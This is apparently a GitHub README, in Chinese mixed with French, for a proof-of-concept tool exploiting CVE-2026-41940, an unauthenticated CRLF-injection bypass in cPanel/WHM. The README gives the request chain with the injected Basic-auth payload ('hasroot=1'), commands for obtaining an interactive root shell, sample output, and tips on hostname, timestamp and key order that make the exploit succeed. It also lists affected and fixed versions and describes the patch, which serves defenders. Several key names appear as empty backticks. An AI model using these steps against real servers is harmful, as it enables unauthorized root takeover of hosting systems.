0xabdoulaye/CPANEL-CVE-2026-41940

GitHub: 0xabdoulaye/CPANEL-CVE-2026-41940

cPanel/WHM CVE-2026-41940 身份验证绕过漏洞的 POC 工具,通过 CRLF 注入实现未经认证的 root 访问。

Stars: 2 | Forks: 1

# CVE-2026-41940 — cPanel/WHM 身份验证绕过 **作者:** SilySec **原始研究:** Sina Kheirkhah ([@SinSinology](https://twitter.com/SinSinology)) / [watchTowr Labs](https://labs.watchtowr.com) **严重性:** 严重 (CVSS 9.8) **类型:** CRLF 注入 → 身份验证绕过 → root Shell ## 描述 CVE-2026-41940 是 cPanel/WHM 中的一个严重漏洞,允许未经身份验证的攻击者通过在 `cpsrvd` 的 Basic 身份验证管理器中进行 CRLF 注入来获取完整的 root 访问权限。 该漏洞结合了三个弱点: 1. **未过滤的 CRLF 注入** — `Cpanel/Session.pm` 中的 `saveSession()` 函数在 cookie 中缺少 `` 键时,在写入磁盘之前不会清理 `\r\n` 字符。 2. **编码器被禁用** — 由于会话 cookie 中没有 `` 段,按会话编码的编码器不会被激活,导致 CRLF 字节以明文形式写入会话文件。 3. **缓存重新加载** — `Cpanel::Session::Modify::save()` 重新读取原始文件,并将注入的 CRLF 键提升到 JSON 缓存中,使会话完全通过身份验证。 ## 受影响版本 | 分支 | 最新受影响版本 | 修复版本 | |---------|----------------------------|-----------------| | 110.0.x | 11.110.0.96 | **11.110.0.97** | | 118.0.x | 11.118.0.62 | **11.118.0.63** | | 126.0.x | 11.126.0.53 | **11.126.0.54** | | 132.0.x | 11.132.0.28 | **11.132.0.29** | | 134.0.x | 11.134.0.19 | **11.134.0.20** | | 136.0.x | 11.136.0.5 | **11.136.0.6** | ## 漏洞利用链 ``` POST /login/?login_only=1 [mauvais mot de passe] └─► cookie: whostmgrsession=:ID, Supprimer , → :ID [désactive l'encodeur] GET / + Cookie: :ID + Authorization: Basic root:x\r\nhasroot=1\r\n... └─► cpsrvd écrit les octets CRLF bruts dans le fichier de session GET /scripts2/listaccts + Cookie: :ID [sans token de sécurité] └─► do_token_denied() → Cpanel::Session::Modify::save() └─► cache JSON reconstruit avec hasroot=1, tfa_verified=1 → Session authentifiée en root ``` ## 使用方法 ### 前置条件 ``` pip install requests # 对于 --terminal 模式(可选): pip install paramiko ``` ### 验证漏洞 ``` python3 poc.py --target https://CIBLE:2087 ``` ### 获取交互式 root shell ``` python3 poc.py --target https://CIBLE:2087 --terminal ``` ### 强制使用规范 hostname ``` python3 poc.py --target https://1.2.3.4:2087 --hostname cpanel.exemple.com ``` ### 输出示例 ``` [*] target : https://1.2.3.4:2087 [*] canonical: cpanel.exemple.com [1/4] minting preauth session ... session = :AbCdEfGh...,0123456789abcdef stripped = :AbCdEfGh... [2/4] injecting CRLF payload ... 307 → leaked token = /cpsess1234567890 [3/4] triggering cache propagation ... do_token_denied → Cpanel::Session::Modify::save() fired [4/4] verifying root access ... ✔ AUTH BYPASS CONFIRMED cPanel version : 11.136.0.5 cookie : whostmgrsession=%3AAbCdEfGh... WHM URL : https://1.2.3.4:2087/cpsess1234567890/ ``` ## 重要技术要点 - 在 `Host` 请求头中必须使用**规范 hostname**(不能是 IP)—— `cpsrvd` 根据主机名以不同方式处理会话 - payload 中的**时间戳**必须是 `9999999999`(固定值,遥远的未来)—— 当前时间戳会失败 - 注入 payload 中的**键的顺序**很重要:`successful_internal_auth_with_timestamp` 必须位于首位 ## 补丁 该补丁将对 `filter_sessiondata()` 的调用移至 `saveSession()` 内部,并在缺少 `` 键时添加条件编码,从而防止任何明文写入。 **请立即将 cPanel/WHM 更新至上文列出的已修复版本。** ## 免责声明 本工具仅供内部研究与测试目的使用。任何在未获明确授权的系统上使用本工具的行为均属违法。SilySec 对任何滥用行为不承担责任。
标签:CISA项目, cPanel, cpsrvd, CRLF注入, CVE-2026-41940, CVSS 9.8, PoC, Root访问, Session篡改, Web主机管理, Web安全, Web报告查看器, WHM, 利用链, 协议分析, 字符串匹配, 暴力破解, 未授权访问, 权限提升, 漏洞分析, 网络安全, 蓝队分析, 路径探测, 身份验证绕过, 逆向工具, 隐私保护, 高危漏洞